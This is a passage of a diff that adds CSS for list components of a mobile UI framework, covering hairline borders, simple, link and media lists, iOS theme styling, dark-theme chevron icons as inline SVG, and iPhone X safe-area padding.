.item-inner:after, +.list li:last-child li:last-child > .item-content > .item-inner:after, +.list li:last-child > .item-link > .item-content > .item-inner:after, +.list li:last-child li:last-child > .item-link > .item-content > .item-inner:after { + display: none !important; +} +.list.no-hairlines:before, +.list.no-hairlines ul:before, +.md .list.no-hairlines-md:before, +.md .list.no-hairlines-md ul:before, +.ios .list.no-hairlines-ios:before, +.ios .list.no-hairlines-ios ul:before { + display: none !important; +} +.list.no-hairlines:after, +.list.no-hairlines ul:after, +.md .list.no-hairlines-md:after, +.md .list.no-hairlines-md ul:after, +.ios .list.no-hairlines-ios:after, +.ios .list.no-hairlines-ios ul:after { + display: none !important; +} +.list.no-hairline-top:before, +.list.no-hairline-top ul:before, +.md .list.no-hairline-top-md:before, +.md .list.no-hairline-top-md ul:before, +.ios .list.no-hairline-top-ios:before, +.ios .list.no-hairline-top-ios ul:before { + display: none !important; +} +.list.no-hairline-bottom:after, +.list.no-hairline-bottom ul:after, +.md .list.no-hairline-bottom-md:after, +.md .list.no-hairline-bottom-md ul:after, +.ios .list.no-hairline-bottom-ios:after, +.ios .list.no-hairline-bottom-ios ul:after { + display: none !important; +} +.list.no-hairlines-between .item-inner:after, +.md .list.no-hairlines-between-md .item-inner:after, +.ios .list.no-hairlines-between-ios .item-inner:after, +.list.no-hairlines-between .list-button:after, +.md .list.no-hairlines-between-md .list-button:after, +.ios .list.no-hairlines-between-ios .list-button:after, +.list.no-hairlines-between .item-divider:after, +.md .list.no-hairlines-between-md .item-divider:after, +.ios .list.no-hairlines-between-ios .item-divider:after, +.list.no-hairlines-between .list-group-title:after, +.md .list.no-hairlines-between-md .list-group-title:after, +.ios .list.no-hairlines-between-ios .list-group-title:after, +.list.no-hairlines-between .list-group-title:after, +.md .list.no-hairlines-between-md .list-group-title:after, +.ios .list.no-hairlines-between-ios .list-group-title:after { + display: none !important; +} +.list.no-hairlines-between.simple-list li:after, +.md .list.no-hairlines-between-md.simple-list li:after, +.ios .list.no-hairlines-between-ios.simple-list li:after { + display: none !important; +} +.list.no-hairlines-between.links-list a:after, +.md .list.no-hairlines-between-md.links-list a:after, +.ios .list.no-hairlines-between-ios.links-list a:after { + display: none !important; +} +.list.simple-list li { + position: relative; + white-space: nowrap; + text-overflow: ellipsis; + max-width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; +} +.list.simple-list li:last-child:after { + display: none !important; +} +.list.links-list a { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; + display: block; + position: relative; + overflow: hidden; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + white-space: nowrap; + text-overflow: ellipsis; + max-width: 100%; +} +.list.links-list li:last-child a:after { + display: none !important; +} +.media-list .item-inner, +li.media-item .item-inner { + display: block; + -webkit-align-self: stretch; + -ms-flex-item-align: stretch; + align-self: stretch; +} +.media-list .item-link .item-inner, +li.media-item .item-link .item-inner { + background: none; +} +.media-list .item-media, +li.media-item .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.media-list .item-media img, +li.media-item .item-media img { + display: block; +} +.list .item-link .item-inner, +.links-list a, +.media-list .item-link .item-title-row, +li.media-item .item-link .item-title-row, +.media-list.chevron-center .item-link .item-inner, +.media-list .chevron-center .item-link .item-inner, +.media-list .item-link.chevron-center .item-inner, +li.media-item.chevron-center .item-link .item-inner, +li.media-item .chevron-center .item-link .item-inner, +li.media-item .item-link.chevron-center .item-inner { + background-size: 8px 13px; + background-repeat: no-repeat; + background-position: 95% center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.links-list.no-chevron a, +.no-chevron .links-list a, +.links-list .no-chevron a, +.item-link.no-chevron .item-inner, +.no-chevron .item-link .item-inner, +.media-list.no-chevron .item-link .item-title-row, +.no-chevron .media-list .item-link .item-title-row, +li.media-item .no-chevron .item-title-row, +li.media-item.no-chevron .item-title-row, +.media-list.chevron-center .item-title-row, +.media-list .chevron-center .item-title-row, +li.media-item.chevron-center .item-title-row, +li.media-item .chevron-center .item-title-row { + background-image: none !important; +} +.media-list .item-link .item-inner, +li.media-item .item-link .item-inner { + background-image: none; +} +.media-list .item-link .item-title-row, +li.media-item .item-link .item-title-row { + background-position: right center !important; +} +.list-group ul:after, +.list-group ul:before { + z-index: 25 !important; +} +.list-group + .list-group ul:before { + display: none !important; +} +li.item-divider, +.item-divider, +li.list-group-title { + white-space: nowrap; + position: relative; + max-width: 100%; + text-overflow: ellipsis; + overflow: hidden; + z-index: 15; +} +li.list-group-title { + position: relative; + position: -webkit-sticky; + position: sticky; + top: 0; + margin-top: 0; + z-index: 20; +} +li.list-group-title:before { + display: none !important; +} +.list.inset .block-title { + margin-left: 0; + margin-right: 0; +} +.list.inset ul:before { + display: none !important; +} +.list.inset ul:after { + display: none !important; +} +@media (min-width: 768px) { + .list.tablet-inset .block-title { + margin-left: 0; + margin-right: 0; + } + .list.tablet-inset ul:before { + display: none !important; + } + .list.tablet-inset ul:after { + display: none !important; + } +} +.theme-dark .list .item-link .item-inner, +.list.theme-dark .item-link .item-inner, +.theme-dark .links-list a, +.links-list.theme-dark a, +.theme-dark .media-list .item-link .item-title-row, +.media-list.theme-dark .item-link .item-title-row, +.theme-dark li.media-item .item-link .item-title-row { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.theme-dark .media-list .item-link .item-inner, +.media-list.theme-dark .item-link .item-inner, +.theme-dark li.media-item .item-link .item-inner { + background-image: none; +} +.ios .list { + margin: 35px 0; + font-size: 17px; +} +.ios .list .item-cell { + width: 100%; + min-width: 0; + margin-left: 15px; +} +.ios .list .item-cell:first-child { + margin-left: 0; +} +.ios .list ul { + background: #fff; +} +.ios .list ul ul { + padding-left: 45px; +} +.ios .list .item-media { + padding-top: 7px; +} +.ios .list .item-media i + i, +.ios .list .item-media i + img { + margin-left: 5px; +} +.ios .list .item-media + .item-inner { + margin-left: 15px; +} +.ios .list .item-inner { + min-height: 44px; + padding-right: 15px; +} +.ios .list .item-after { + color: #8e8e93; + padding-left: 5px; +} +.ios .list .item-link, +.ios .list .list-button { + color: inherit; +} +.ios .list .item-link .item-inner, +.ios .list .list-button .item-inner { + padding-right: 35px; +} +.ios .list .item-link.active-state, +.ios .list .list-button.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +.ios .list .item-link.active-state .item-inner:after, +.ios .list .list-button.active-state .item-inner:after { + background-color: transparent; +} +.ios .list .list-button { + padding: 0 15px; + text-align: center; + color: #007aff; + line-height: 44px; +} +.ios .list .item-content { + min-height: 44px; + padding-left: 15px; +} +.ios .list .item-subtitle { + font-size: 15px; +} +.ios .list .item-text { + font-size: 15px; + color: #8e8e93; + line-height: 21px; + max-height: 42px; +} +.ios .list .item-header, +.ios .list .item-footer { + font-weight: normal; + font-size: 12px; + line-height: 1.2; + white-space: normal; +} +.ios .list .item-footer { + color: #8e8e93; +} +.ios .list .item-link.no-chevron .item-inner, +.ios .list.no-chevron .item-link .item-inner, +.ios .list .no-chevron .item-link .item-inner, +.ios .no-chevron .list .item-link .item-inner { + padding-right: 15px; +} +.ios .simple-list li:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .simple-list li:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .simple-list li:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .simple-list li { + padding-left: 15px; + padding-right: 15px; + line-height: 44px; + height: 44px; +} +.ios .simple-list li:after { + width: auto; + left: 15px; + right: 0; +} +.ios .links-list a:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .links-list a:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .links-list a:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .links-list a { + height: 44px; + color: inherit; +} +.ios .links-list a.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +.ios .links-list a:after { + width: auto; +} +.ios .links-list a { + padding-left: 15px; + padding-right: 35px; +} +.ios .links-list a:after { + left: 15px; + right: 0; +} +.ios .links-list.no-chevron a, +.ios .no-chevron .links-list a, +.ios .links-list a.no-chevron, +.ios .links-list .no-chevron a { + padding-right: 15px; +} +.ios .media-list .item-title, +.ios li.media-item .item-title { + font-weight: 600; +} +.ios .media-list .item-inner, +.ios li.media-item .item-inner { + padding-top: 10px; + padding-bottom: 9px; +} +.ios .media-list .item-media, +.ios li.media-item .item-media { + padding-top: 9px; + padding-bottom: 10px; +} +.ios .media-list .item-link .item-inner, +.ios li.media-item .item-link .item-inner { + padding-right: 15px; +} +.ios .media-list .item-link .item-title-row, +.ios li.media-item .item-link .item-title-row { + padding-right: 20px; +} +.ios .media-list.chevron-center .item-link .item-inner, +.ios .media-list .chevron-center .item-link .item-inner, +.ios .media-list .item-link.chevron-center .item-inner, +.ios li.media-item.chevron-center .item-link .item-inner, +.ios li.media-item .item-link.chevron-center .item-inner, +.ios li.media-item .chevron-center .item-link .item-inner { + padding-right: 35px; +} +.ios .media-list.no-chevron .item-link .item-title-row, +.ios .no-chevron .media-list .item-link .item-title-row, +.ios .media-list .no-chevron .item-link .item-title-row, +.ios li.media-item.no-chevron .item-link .item-title-row, +.ios .no-chevron li.media-item .item-link .item-title-row, +.ios .media-list.chevron-center .item-title-row, +.ios .media-list .chevron-center .item-title-row, +.ios li.media-item.chevron-center .item-title-row, +.ios li.media-item .chevron-center .item-title-row { + padding-right: 0 !important; +} +.ios .list .item-link .item-inner, +.ios .links-list a { + background-position: calc(100% - 15px) center; +} +.ios .item-divider, +.ios .list-group-title { + margin-top: -1px; + padding: 4px 15px; + background: #f7f7f7; + color: #8e8e93; +} +.ios .item-divider:after, +.ios .list-group-title:after { + display: none !important; +} +.ios .list-group-title { + margin-top: 0; +} +.ios .item-divider:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .item-divider:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .item-divider:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list-group-title:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .list-group-title:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list-group-title:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list .list-button:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .list .list-button:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list .list-button:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list .item-inner:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .list .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list ul:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .list ul:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list ul:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list ul:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .list ul:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list ul:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list.inset { + margin-left: 15px; + margin-right: 15px; + border-radius: 7px; +} +.ios .list.inset ul { + border-radius: 7px; +} +.ios .list.inset li:first-child > a { + border-radius: 7px 7px 0 0; +} +.ios .list.inset li:last-child > a { + border-radius: 0 0 7px 7px; +} +.ios .list.inset li:first-child:last-child > a { + border-radius: 7px; +} +@media (min-width: 768px) { + .ios .list.tablet-inset { + margin-left: 15px; + margin-right: 15px; + border-radius: 7px; + } + .ios .list.tablet-inset ul { + border-radius: 7px; + } + .ios .list.tablet-inset li:first-child > a { + border-radius: 7px 7px 0 0; + } + .ios .list.tablet-inset li:last-child > a { + border-radius: 0 0 7px 7px; + } + .ios .list.tablet-inset li:first-child:last-child > a { + border-radius: 7px; + } +} +.ios li li:last-child .item-inner:after, +.ios li:last-child li .item-inner:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .ios li li:last-child .item-inner:after, +html.device-pixel-ratio-2 .ios li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .ios li li:last-child .item-inner:after, +html.device-pixel-ratio-3 .ios li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after { + left: calc(15px + constant(safe-area-inset-left)); + left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after { + left: calc(15px + constant(safe-area-inset-left)); + left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 15px; + } + .ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 15px; + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a { + background-position: calc(100% - 15px - constant(safe-area-inset-right)) center; + background-position: calc(100% - 15px - env(safe-area-inset-right)) center; + } + 